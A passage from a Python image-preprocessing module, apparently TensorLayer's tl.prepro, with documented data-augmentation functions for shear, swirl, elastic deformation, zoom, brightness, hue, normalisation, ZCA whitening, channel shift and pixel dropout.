col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shear an image randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). intensity : float Percentage of shear, usually -0.5 ~ 0.5 (is_random==True), 0 ~ 0.5 (is_random==False), you can have a quick try by shear(X, 1). is_random : boolean If True, randomly shear. Default is False. row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0. order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. References ----------- - `Affine transformation <https://uk.mathworks.com/discovery/affine-transformation.html>`__ """ if is_random: shear = np.random.uniform(-intensity, intensity) else: shear = intensity shear_matrix = np.array([[1, -np.sin(shear), 0], [0, np.cos(shear), 0], [0, 0, 1]]) h, w = x.shape[row_index], x.shape[col_index] transform_matrix = transform_matrix_offset_center(shear_matrix, h, w) x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def shear_multi( x, intensity=0.1, is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shear images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.shear``. Returns ------- numpy.array A list of processed images. """ if is_random: shear = np.random.uniform(-intensity, intensity) else: shear = intensity shear_matrix = np.array([[1, -np.sin(shear), 0], [0, np.cos(shear), 0], [0, 0, 1]]) h, w = x[0].shape[row_index], x[0].shape[col_index] transform_matrix = transform_matrix_offset_center(shear_matrix, h, w) results = [] for data in x: results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order)) return np.asarray(results) def shear2( x, shear=(0.1, 0.1), is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shear an image randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). shear : tuple of two floats Percentage of shear for height and width direction (0, 1). is_random : boolean If True, randomly shear. Default is False. row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0. order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. References ----------- - `Affine transformation <https://uk.mathworks.com/discovery/affine-transformation.html>`__ """ if len(shear) != 2: raise AssertionError( "shear should be tuple of 2 floats, or you want to use tl.prepro.shear rather than tl.prepro.shear2 ?" ) if isinstance(shear, tuple): shear = list(shear) if is_random: shear[0] = np.random.uniform(-shear[0], shear[0]) shear[1] = np.random.uniform(-shear[1], shear[1]) shear_matrix = np.array([[1, shear[0], 0], \ [shear[1], 1, 0], \ [0, 0, 1]]) h, w = x.shape[row_index], x.shape[col_index] transform_matrix = transform_matrix_offset_center(shear_matrix, h, w) x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def shear_multi2( x, shear=(0.1, 0.1), is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Shear images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.shear2``. Returns ------- numpy.array A list of processed images. """ if len(shear) != 2: raise AssertionError( "shear should be tuple of 2 floats, or you want to use tl.prepro.shear_multi rather than tl.prepro.shear_multi2 ?" ) if isinstance(shear, tuple): shear = list(shear) if is_random: shear[0] = np.random.uniform(-shear[0], shear[0]) shear[1] = np.random.uniform(-shear[1], shear[1]) shear_matrix = np.array([[1, shear[0], 0], [shear[1], 1, 0], [0, 0, 1]]) h, w = x[0].shape[row_index], x[0].shape[col_index] transform_matrix = transform_matrix_offset_center(shear_matrix, h, w) results = [] for data in x: results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order)) return np.asarray(results) # swirl def swirl( x, center=None, strength=1, radius=100, rotation=0, output_shape=None, order=1, mode='constant', cval=0, clip=True, preserve_range=False, is_random=False ): """Swirl an image randomly or non-randomly, see `scikit-image swirl API <http://scikit-image.org/docs/dev/api/skimage.transform.html#skimage.transform.swirl>`__ and `example <http://scikit-image.org/docs/dev/auto_examples/plot_swirl.html>`__. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). center : tuple or 2 int or None Center coordinate of transformation (optional). strength : float The amount of swirling applied. radius : float The extent of the swirl in pixels. The effect dies out rapidly beyond radius. rotation : float Additional rotation applied to the image, usually [0, 360], relates to center. output_shape : tuple of 2 int or None Shape of the output image generated (height, width). By default the shape of the input image is preserved. order : int, optional The order of the spline interpolation, default is 1. The order has to be in the range 0-5. See skimage.transform.warp for detail. mode : str One of `constant` (default), `edge`, `symmetric` `reflect` and `wrap`. Points outside the boundaries of the input are filled according to the given mode, with `constant` used as the default. Modes match the behaviour of numpy.pad. cval : float Used in conjunction with mode `constant`, the value outside the image boundaries. clip : boolean Whether to clip the output to the range of values of the input image. This is enabled by default, since higher order interpolation may produce values outside the given input range. preserve_range : boolean Whether to keep the original range of values. Otherwise, the input image is converted according to the conventions of img_as_float. is_random : boolean, If True, random swirl. Default is False. - random center = [(0 ~ x.shape[0]), (0 ~ x.shape[1])] - random strength = [0, strength] - random radius = [1e-10, radius] - random rotation = [-rotation, rotation] Returns ------- numpy.array A processed image. Examples --------- >>> x --> [row, col, 1] greyscale >>> x = tl.prepro.swirl(x, strength=4, radius=100) """ if radius == 0: raise AssertionError("Invalid radius value") rotation = np.pi / 180 * rotation if is_random: center_h = int(np.random.uniform(0, x.shape[0])) center_w = int(np.random.uniform(0, x.shape[1])) center = (center_h, center_w) strength = np.random.uniform(0, strength) radius = np.random.uniform(1e-10, radius) rotation = np.random.uniform(-rotation, rotation) max_v = np.max(x) if max_v > 1: # Note: the input of this fn should be [-1, 1], rescale is required. x = x / max_v swirled = skimage.transform.swirl( x, center=center, strength=strength, radius=radius, rotation=rotation, output_shape=output_shape, order=order, mode=mode, cval=cval, clip=clip, preserve_range=preserve_range ) if max_v > 1: swirled = swirled * max_v return swirled def swirl_multi( x, center=None, strength=1, radius=100, rotation=0, output_shape=None, order=1, mode='constant', cval=0, clip=True, preserve_range=False, is_random=False ): """Swirl multiple images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.swirl``. Returns ------- numpy.array A list of processed images. """ if radius == 0: raise AssertionError("Invalid radius value") rotation = np.pi / 180 * rotation if is_random: center_h = int(np.random.uniform(0, x[0].shape[0])) center_w = int(np.random.uniform(0, x[0].shape[1])) center = (center_h, center_w) strength = np.random.uniform(0, strength) radius = np.random.uniform(1e-10, radius) rotation = np.random.uniform(-rotation, rotation) results = [] for data in x: max_v = np.max(data) if max_v > 1: # Note: the input of this fn should be [-1, 1], rescale is required. data = data / max_v swirled = skimage.transform.swirl( data, center=center, strength=strength, radius=radius, rotation=rotation, output_shape=output_shape, order=order, mode=mode, cval=cval, clip=clip, preserve_range=preserve_range ) if max_v > 1: swirled = swirled * max_v results.append(swirled) return np.asarray(results) # elastic_transform def elastic_transform(x, alpha, sigma, mode="constant", cval=0, is_random=False): """Elastic transformation for image as described in `[Simard2003] <http://deeplearning.cs.cmu.edu/pdfs/Simard.pdf>`__. Parameters ----------- x : numpy.array A greyscale image. alpha : float Alpha value for elastic transformation. sigma : float or sequence of float The smaller the sigma, the more transformation. Standard deviation for Gaussian kernel. The standard deviations of the Gaussian filter are given for each axis as a sequence, or as a single number, in which case it is equal for all axes. mode : str See `scipy.ndimage.filters.gaussian_filter <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.filters.gaussian_filter.html>`__. Default is `constant`. cval : float, Used in conjunction with `mode` of `constant`, the value outside the image boundaries. is_random : boolean Default is False. Returns ------- numpy.array A processed image. Examples --------- >>> x = tl.prepro.elastic_transform(x, alpha=x.shape[1]*3, sigma=x.shape[1]*0.07) References ------------ - `Github <https://gist.github.com/chsasank/4d8f68caf01f041a6453e67fb30f8f5a>`__. - `Kaggle <https://www.kaggle.com/pscion/ultrasound-nerve-segmentation/elastic-transform-for-data-augmentation-0878921a>`__ """ if is_random is False: random_state = np.random.RandomState(None) else: random_state = np.random.RandomState(int(time.time())) # is_3d = False if len(x.shape) == 3 and x.shape[-1] == 1: x = x[:, :, 0] is_3d = True elif len(x.shape) == 3 and x.shape[-1] != 1: raise Exception("Only support greyscale image") if len(x.shape) != 2: raise AssertionError("input should be grey-scale image") shape = x.shape dx = gaussian_filter((random_state.rand(*shape) * 2 - 1), sigma, mode=mode, cval=cval) * alpha dy = gaussian_filter((random_state.rand(*shape) * 2 - 1), sigma, mode=mode, cval=cval) * alpha x_, y_ = np.meshgrid(np.arange(shape[0]), np.arange(shape[1]), indexing='ij') indices = np.reshape(x_ + dx, (-1, 1)), np.reshape(y_ + dy, (-1, 1)) if is_3d: return map_coordinates(x, indices, order=1).reshape((shape[0], shape[1], 1)) else: return map_coordinates(x, indices, order=1).reshape(shape) def elastic_transform_multi(x, alpha, sigma, mode="constant", cval=0, is_random=False): """Elastic transformation for images as described in `[Simard2003] <http://deeplearning.cs.cmu.edu/pdfs/Simard.pdf>`__. Parameters ----------- x : list of numpy.array List of greyscale images. others : args See ``tl.prepro.elastic_transform``. Returns ------- numpy.array A list of processed images. """ if is_random is False: random_state = np.random.RandomState(None) else: random_state = np.random.RandomState(int(time.time())) shape = x[0].shape if len(shape) == 3: shape = (shape[0], shape[1]) new_shape = random_state.rand(*shape) results = [] for data in x: is_3d = False if len(data.shape) == 3 and data.shape[-1] == 1: data = data[:, :, 0] is_3d = True elif len(data.shape) == 3 and data.shape[-1] != 1: raise Exception("Only support greyscale image") if len(data.shape) != 2: raise AssertionError("input should be grey-scale image") dx = gaussian_filter((new_shape * 2 - 1), sigma, mode=mode, cval=cval) * alpha dy = gaussian_filter((new_shape * 2 - 1), sigma, mode=mode, cval=cval) * alpha x_, y_ = np.meshgrid(np.arange(shape[0]), np.arange(shape[1]), indexing='ij') indices = np.reshape(x_ + dx, (-1, 1)), np.reshape(y_ + dy, (-1, 1)) # tl.logging.info(data.shape) if is_3d: results.append(map_coordinates(data, indices, order=1).reshape((shape[0], shape[1], 1))) else: results.append(map_coordinates(data, indices, order=1).reshape(shape)) return np.asarray(results) # zoom def zoom(x, zoom_range=(0.9, 1.1), row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1): """Zooming/Scaling a single image that height and width are changed together. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). zoom_range : float or tuple of 2 floats The zooming/scaling ratio, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between 2 values. row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0. order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. """ zoom_matrix = affine_zoom_matrix(zoom_range=zoom_range) h, w = x.shape[row_index], x.shape[col_index] transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w) x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def respective_zoom( x, h_range=(0.9, 1.1), w_range=(0.9, 1.1), row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Zooming/Scaling a single image that height and width are changed independently. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). h_range : float or tuple of 2 floats The zooming/scaling ratio of height, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between 2 values. w_range : float or tuple of 2 floats The zooming/scaling ratio of width, greater than 1 means larger. - float, a fixed ratio. - tuple of 2 floats, randomly sample a value as the ratio between 2 values. row_index col_index and channel_index : int Index of row, col and channel, default (0, 1, 2), for theano (1, 2, 0). fill_mode : str Method to fill missing pixel, default `nearest`, more options `constant`, `reflect` or `wrap`, see `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ cval : float Value used for points outside the boundaries of the input if mode='constant'. Default is 0.0. order : int The order of interpolation. The order has to be in the range 0-5. See ``tl.prepro.affine_transform`` and `scipy ndimage affine_transform <https://docs.scipy.org/doc/scipy-0.14.0/reference/generated/scipy.ndimage.interpolation.affine_transform.html>`__ Returns ------- numpy.array A processed image. """ zoom_matrix = affine_respective_zoom_matrix(h_range=h_range, w_range=w_range) h, w = x.shape[row_index], x.shape[col_index] transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w) x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval, order) return x def zoom_multi( x, zoom_range=(0.9, 1.1), is_random=False, row_index=0, col_index=1, channel_index=2, fill_mode='nearest', cval=0., order=1 ): """Zoom in and out of images with the same arguments, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.zoom``. Returns ------- numpy.array A list of processed images. """ if len(zoom_range) != 2: raise Exception('zoom_range should be a tuple or list of two floats. ' 'Received arg: ', zoom_range) if is_random: if zoom_range[0] == 1 and zoom_range[1] == 1: zx, zy = 1, 1 tl.logging.info(" random_zoom : not zoom in/out") else: zx, zy = np.random.uniform(zoom_range[0], zoom_range[1], 2) else: zx, zy = zoom_range zoom_matrix = np.array([[zx, 0, 0], [0, zy, 0], [0, 0, 1]]) h, w = x[0].shape[row_index], x[0].shape[col_index] transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w) # x = affine_transform(x, transform_matrix, channel_index, fill_mode, cval) # return x results = [] for data in x: results.append(affine_transform(data, transform_matrix, channel_index, fill_mode, cval, order)) return np.asarray(results) # image = tf.image.random_brightness(image, max_delta=32. / 255.) # image = tf.image.random_saturation(image, lower=0.5, upper=1.5) # image = tf.image.random_hue(image, max_delta=0.032) # image = tf.image.random_contrast(image, lower=0.5, upper=1.5) def brightness(x, gamma=1, gain=1, is_random=False): """Change the brightness of a single image, randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). gamma : float Non negative real number. Default value is 1. - Small than 1 means brighter. - If `is_random` is True, gamma in a range of (1-gamma, 1+gamma). gain : float The constant multiplier. Default value is 1. is_random : boolean If True, randomly change brightness. Default is False. Returns ------- numpy.array A processed image. References ----------- - `skimage.exposure.adjust_gamma <http://scikit-image.org/docs/dev/api/skimage.exposure.html>`__ - `chinese blog <http://www.cnblogs.com/denny402/p/5124402.html>`__ """ if is_random: gamma = np.random.uniform(1 - gamma, 1 + gamma) x = exposure.adjust_gamma(x, gamma, gain) return x def brightness_multi(x, gamma=1, gain=1, is_random=False): """Change the brightness of multiply images, randomly or non-randomly. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpyarray List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.brightness``. Returns ------- numpy.array A list of processed images. """ if is_random: gamma = np.random.uniform(1 - gamma, 1 + gamma) results = [] for data in x: results.append(exposure.adjust_gamma(data, gamma, gain)) return np.asarray(results) def illumination(x, gamma=1., contrast=1., saturation=1., is_random=False): """Perform illumination augmentation for a single image, randomly or non-randomly. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). gamma : float Change brightness (the same with ``tl.prepro.brightness``) - if is_random=False, one float number, small than one means brighter, greater than one means darker. - if is_random=True, tuple of two float numbers, (min, max). contrast : float Change contrast. - if is_random=False, one float number, small than one means blur. - if is_random=True, tuple of two float numbers, (min, max). saturation : float Change saturation. - if is_random=False, one float number, small than one means unsaturation. - if is_random=True, tuple of two float numbers, (min, max). is_random : boolean If True, randomly change illumination. Default is False. Returns ------- numpy.array A processed image. Examples --------- Random >>> x = tl.prepro.illumination(x, gamma=(0.5, 5.0), contrast=(0.3, 1.0), saturation=(0.7, 1.0), is_random=True) Non-random >>> x = tl.prepro.illumination(x, 0.5, 0.6, 0.8, is_random=False) """ if is_random: if not (len(gamma) == len(contrast) == len(saturation) == 2): raise AssertionError("if is_random = True, the arguments are (min, max)") ## random change brightness # small --> brighter illum_settings = np.random.randint(0, 3) # 0-brighter, 1-darker, 2 keep normal if illum_settings == 0: # brighter gamma = np.random.uniform(gamma[0], 1.0) # (.5, 1.0) elif illum_settings == 1: # darker gamma = np.random.uniform(1.0, gamma[1]) # (1.0, 5.0) else: gamma = 1 im_ = brightness(x, gamma=gamma, gain=1, is_random=False) # tl.logging.info("using contrast and saturation") image = PIL.Image.fromarray(im_) # array -> PIL contrast_adjust = PIL.ImageEnhance.Contrast(image) image = contrast_adjust.enhance(np.random.uniform(contrast[0], contrast[1])) #0.3,0.9)) saturation_adjust = PIL.ImageEnhance.Color(image) image = saturation_adjust.enhance(np.random.uniform(saturation[0], saturation[1])) # (0.7,1.0)) im_ = np.array(image) # PIL -> array else: im_ = brightness(x, gamma=gamma, gain=1, is_random=False) image = PIL.Image.fromarray(im_) # array -> PIL contrast_adjust = PIL.ImageEnhance.Contrast(image) image = contrast_adjust.enhance(contrast) saturation_adjust = PIL.ImageEnhance.Color(image) image = saturation_adjust.enhance(saturation) im_ = np.array(image) # PIL -> array return np.asarray(im_) def rgb_to_hsv(rgb): """Input RGB image [0~255] return HSV image [0~1]. Parameters ------------ rgb : numpy.array An image with values between 0 and 255. Returns ------- numpy.array A processed image. """ # Translated from source of colorsys.rgb_to_hsv # r,g,b should be a numpy arrays with values between 0 and 255 # rgb_to_hsv returns an array of floats between 0.0 and 1.0. rgb = rgb.astype('float') hsv = np.zeros_like(rgb) # in case an RGBA array was passed, just copy the A channel hsv[..., 3:] = rgb[..., 3:] r, g, b = rgb[..., 0], rgb[..., 1], rgb[..., 2] maxc = np.max(rgb[..., :3], axis=-1) minc = np.min(rgb[..., :3], axis=-1) hsv[..., 2] = maxc mask = maxc != minc hsv[mask, 1] = (maxc - minc)[mask] / maxc[mask] rc = np.zeros_like(r) gc = np.zeros_like(g) bc = np.zeros_like(b) rc[mask] = (maxc - r)[mask] / (maxc - minc)[mask] gc[mask] = (maxc - g)[mask] / (maxc - minc)[mask] bc[mask] = (maxc - b)[mask] / (maxc - minc)[mask] hsv[..., 0] = np.select([r == maxc, g == maxc], [bc - gc, 2.0 + rc - bc], default=4.0 + gc - rc) hsv[..., 0] = (hsv[..., 0] / 6.0) % 1.0 return hsv def hsv_to_rgb(hsv): """Input HSV image [0~1] return RGB image [0~255]. Parameters ------------- hsv : numpy.array An image with values between 0.0 and 1.0 Returns ------- numpy.array A processed image. """ # Translated from source of colorsys.hsv_to_rgb # h,s should be a numpy arrays with values between 0.0 and 1.0 # v should be a numpy array with values between 0.0 and 255.0 # hsv_to_rgb returns an array of uints between 0 and 255. rgb = np.empty_like(hsv) rgb[..., 3:] = hsv[..., 3:] h, s, v = hsv[..., 0], hsv[..., 1], hsv[..., 2] i = (h * 6.0).astype('uint8') f = (h * 6.0) - i p = v * (1.0 - s) q = v * (1.0 - s * f) t = v * (1.0 - s * (1.0 - f)) i = i % 6 conditions = [s == 0.0, i == 1, i == 2, i == 3, i == 4, i == 5] rgb[..., 0] = np.select(conditions, [v, q, p, p, t, v], default=v) rgb[..., 1] = np.select(conditions, [v, v, v, q, p, p], default=t) rgb[..., 2] = np.select(conditions, [v, p, t, v, v, q], default=p) return rgb.astype('uint8') def adjust_hue(im, hout=0.66, is_offset=True, is_clip=True, is_random=False): """Adjust hue of an RGB image. This is a convenience method that converts an RGB image to float representation, converts it to HSV, add an offset to the hue channel, converts back to RGB and then back to the original data type. For TF, see `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/adjust_hue>`__.and `tf.image.random_hue <https://www.tensorflow.org/api_docs/python/tf/image/random_hue>`__. Parameters ----------- im : numpy.array An image with values between 0 and 255. hout : float The scale value for adjusting hue. - If is_offset is False, set all hue values to this value. 0 is red; 0.33 is green; 0.66 is blue. - If is_offset is True, add this value as the offset to the hue channel. is_offset : boolean Whether `hout` is added on HSV as offset or not. Default is True. is_clip : boolean If HSV value smaller than 0, set to 0. Default is True. is_random : boolean If True, randomly change hue. Default is False. Returns ------- numpy.array A processed image. Examples --------- Random, add a random value between -0.2 and 0.2 as the offset to every hue values. >>> im_hue = tl.prepro.adjust_hue(image, hout=0.2, is_offset=True, is_random=False) Non-random, make all hue to green. >>> im_green = tl.prepro.adjust_hue(image, hout=0.66, is_offset=False, is_random=False) References ----------- - `tf.image.random_hue <https://www.tensorflow.org/api_docs/python/tf/image/random_hue>`__. - `tf.image.adjust_hue <https://www.tensorflow.org/api_docs/python/tf/image/adjust_hue>`__. - `StackOverflow: Changing image hue with python PIL <https://stackoverflow.com/questions/7274221/changing-image-hue-with-python-pil>`__. """ hsv = rgb_to_hsv(im) if is_random: hout = np.random.uniform(-hout, hout) if is_offset: hsv[..., 0] += hout else: hsv[..., 0] = hout if is_clip: hsv[..., 0] = np.clip(hsv[..., 0], 0, np.inf) # Hao : can remove green dots rgb = hsv_to_rgb(hsv) return rgb # # contrast # def constant(x, cutoff=0.5, gain=10, inv=False, is_random=False): # # TODO # x = exposure.adjust_sigmoid(x, cutoff=cutoff, gain=gain, inv=inv) # return x # # def constant_multi(): # #TODO # pass def imresize(x, size=None, interp='bicubic', mode=None): """Resize an image by given output size and method. Warning, this function will rescale the value to [0, 255]. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). size : list of 2 int or None For height and width. interp : str Interpolation method for re-sizing (`nearest`, `lanczos`, `bilinear`, `bicubic` (default) or `cubic`). mode : str The PIL image mode (`P`, `L`, etc.) to convert arr before resizing. Returns ------- numpy.array A processed image. References ------------ - `scipy.misc.imresize <https://docs.scipy.org/doc/scipy/reference/generated/scipy.misc.imresize.html>`__ """ if size is None: size = [100, 100] if x.shape[-1] == 1: # greyscale x = scipy.misc.imresize(x[:, :, 0], size, interp=interp, mode=mode) return x[:, :, np.newaxis] elif x.shape[-1] == 3: # rgb, bgr .. return scipy.misc.imresize(x, size, interp=interp, mode=mode) else: raise Exception("Unsupported channel %d" % x.shape[-1]) # value scale def pixel_value_scale(im, val=0.9, clip=None, is_random=False): """Scales each value in the pixels of the image. Parameters ----------- im : numpy.array An image. val : float The scale value for changing pixel value. - If is_random=False, multiply this value with all pixels. - If is_random=True, multiply a value between [1-val, 1+val] with all pixels. clip : tuple of 2 numbers The minimum and maximum value. is_random : boolean If True, see ``val``. Returns ------- numpy.array A processed image. Examples ---------- Random >>> im = pixel_value_scale(im, 0.1, [0, 255], is_random=True) Non-random >>> im = pixel_value_scale(im, 0.9, [0, 255], is_random=False) """ clip = clip if clip is not None else (-np.inf, np.inf) if is_random: scale = 1 + np.random.uniform(-val, val) im = im * scale else: im = im * val if len(clip) == 2: im = np.clip(im, clip[0], clip[1]) else: raise Exception("clip : tuple of 2 numbers") return im # normailization def samplewise_norm( x, rescale=None, samplewise_center=False, samplewise_std_normalization=False, channel_index=2, epsilon=1e-7 ): """Normalize an image by rescale, samplewise centering and samplewise centering in order. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). rescale : float Rescaling factor. If None or 0, no rescaling is applied, otherwise we multiply the data by the value provided (before applying any other transformation) samplewise_center : boolean If True, set each sample mean to 0. samplewise_std_normalization : boolean If True, divide each input by its std. epsilon : float A small position value for dividing standard deviation. Returns ------- numpy.array A processed image. Examples -------- >>> x = samplewise_norm(x, samplewise_center=True, samplewise_std_normalization=True) >>> print(x.shape, np.mean(x), np.std(x)) (160, 176, 1), 0.0, 1.0 Notes ------ When samplewise_center and samplewise_std_normalization are True. - For greyscale image, every pixels are subtracted and divided by the mean and std of whole image. - For RGB image, every pixels are subtracted and divided by the mean and std of this pixel i.e. the mean and std of a pixel is 0 and 1. """ if rescale: x *= rescale if x.shape[channel_index] == 1: # greyscale if samplewise_center: x = x - np.mean(x) if samplewise_std_normalization: x = x / np.std(x) return x elif x.shape[channel_index] == 3: # rgb if samplewise_center: x = x - np.mean(x, axis=channel_index, keepdims=True) if samplewise_std_normalization: x = x / (np.std(x, axis=channel_index, keepdims=True) + epsilon) return x else: raise Exception("Unsupported channels %d" % x.shape[channel_index]) def featurewise_norm(x, mean=None, std=None, epsilon=1e-7): """Normalize every pixels by the same given mean and std, which are usually compute from all examples. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). mean : float Value for subtraction. std : float Value for division. epsilon : float A small position value for dividing standard deviation. Returns ------- numpy.array A processed image. """ if mean: x = x - mean if std: x = x / (std + epsilon) return x # whitening def get_zca_whitening_principal_components_img(X): """Return the ZCA whitening principal components matrix. Parameters ----------- x : numpy.array Batch of images with dimension of [n_example, row, col, channel] (default). Returns ------- numpy.array A processed image. """ flatX = np.reshape(X, (X.shape[0], X.shape[1] * X.shape[2] * X.shape[3])) tl.logging.info("zca : computing sigma ..") sigma = np.dot(flatX.T, flatX) / flatX.shape[0] tl.logging.info("zca : computing U, S and V ..") U, S, _ = linalg.svd(sigma) # USV tl.logging.info("zca : computing principal components ..") principal_components = np.dot(np.dot(U, np.diag(1. / np.sqrt(S + 10e-7))), U.T) return principal_components def zca_whitening(x, principal_components): """Apply ZCA whitening on an image by given principal components matrix. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). principal_components : matrix Matrix from ``get_zca_whitening_principal_components_img``. Returns ------- numpy.array A processed image. """ flatx = np.reshape(x, (x.size)) # tl.logging.info(principal_components.shape, x.shape) # ((28160, 28160), (160, 176, 1)) # flatx = np.reshape(x, (x.shape)) # flatx = np.reshape(x, (x.shape[0], )) # tl.logging.info(flatx.shape) # (160, 176, 1) whitex = np.dot(flatx, principal_components) x = np.reshape(whitex, (x.shape[0], x.shape[1], x.shape[2])) return x # developing # def barrel_transform(x, intensity): # # https://github.com/fchollet/keras/blob/master/keras/preprocessing/image.py # # TODO # pass # # def barrel_transform_multi(x, intensity): # # https://github.com/fchollet/keras/blob/master/keras/preprocessing/image.py # # TODO # pass # channel shift def channel_shift(x, intensity, is_random=False, channel_index=2): """Shift the channels of an image, randomly or non-randomly, see `numpy.rollaxis <https://docs.scipy.org/doc/numpy/reference/generated/numpy.rollaxis.html>`__. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] (default). intensity : float Intensity of shifting. is_random : boolean If True, randomly shift. Default is False. channel_index : int Index of channel. Default is 2. Returns ------- numpy.array A processed image. """ if is_random: factor = np.random.uniform(-intensity, intensity) else: factor = intensity x = np.rollaxis(x, channel_index, 0) min_x, max_x = np.min(x), np.max(x) channel_images = [np.clip(x_channel + factor, min_x, max_x) for x_channel in x] x = np.stack(channel_images, axis=0) x = np.rollaxis(x, 0, channel_index + 1) return x # x = np.rollaxis(x, channel_index, 0) # min_x, max_x = np.min(x), np.max(x) # channel_images = [np.clip(x_channel + np.random.uniform(-intensity, intensity), min_x, max_x) # for x_channel in x] # x = np.stack(channel_images, axis=0) # x = np.rollaxis(x, 0, channel_index+1) # return x def channel_shift_multi(x, intensity, is_random=False, channel_index=2): """Shift the channels of images with the same arguments, randomly or non-randomly, see `numpy.rollaxis <https://docs.scipy.org/doc/numpy/reference/generated/numpy.rollaxis.html>`__. Usually be used for image segmentation which x=[X, Y], X and Y should be matched. Parameters ----------- x : list of numpy.array List of images with dimension of [n_images, row, col, channel] (default). others : args See ``tl.prepro.channel_shift``. Returns ------- numpy.array A list of processed images. """ if is_random: factor = np.random.uniform(-intensity, intensity) else: factor = intensity results = [] for data in x: data = np.rollaxis(data, channel_index, 0) min_x, max_x = np.min(data), np.max(data) channel_images = [np.clip(x_channel + factor, min_x, max_x) for x_channel in x] data = np.stack(channel_images, axis=0) data = np.rollaxis(x, 0, channel_index + 1) results.append(data) return np.asarray(results) # noise def drop(x, keep=0.5): """Randomly set some pixels to zero by a given keeping probability. Parameters ----------- x : numpy.array An image with dimension of [row, col, channel] or [row, col]. keep : float The keeping probability (0, 1), the lower more values will be set to zero. Returns ------- numpy.array A processed image. """ if len(x.shape) == 3: if x.shape[-1] == 3: # color img_size = x.shape mask = np.random.binomial(n=1, p=keep, size=x.shape[:-1]) for i in range(3): x[:, :, i] = np.multiply(x[:, :, i], mask) elif x.shape[-1] == 1: # greyscale image img_size = x.shape x = np.multiply(x, np.random.binomial(n=1, p=keep, size=img_size)) else: raise Exception("Unsupported shape {}".format(x.shape)) elif len(x.shape) == 2 or 1: # greyscale matrix (image) or vector 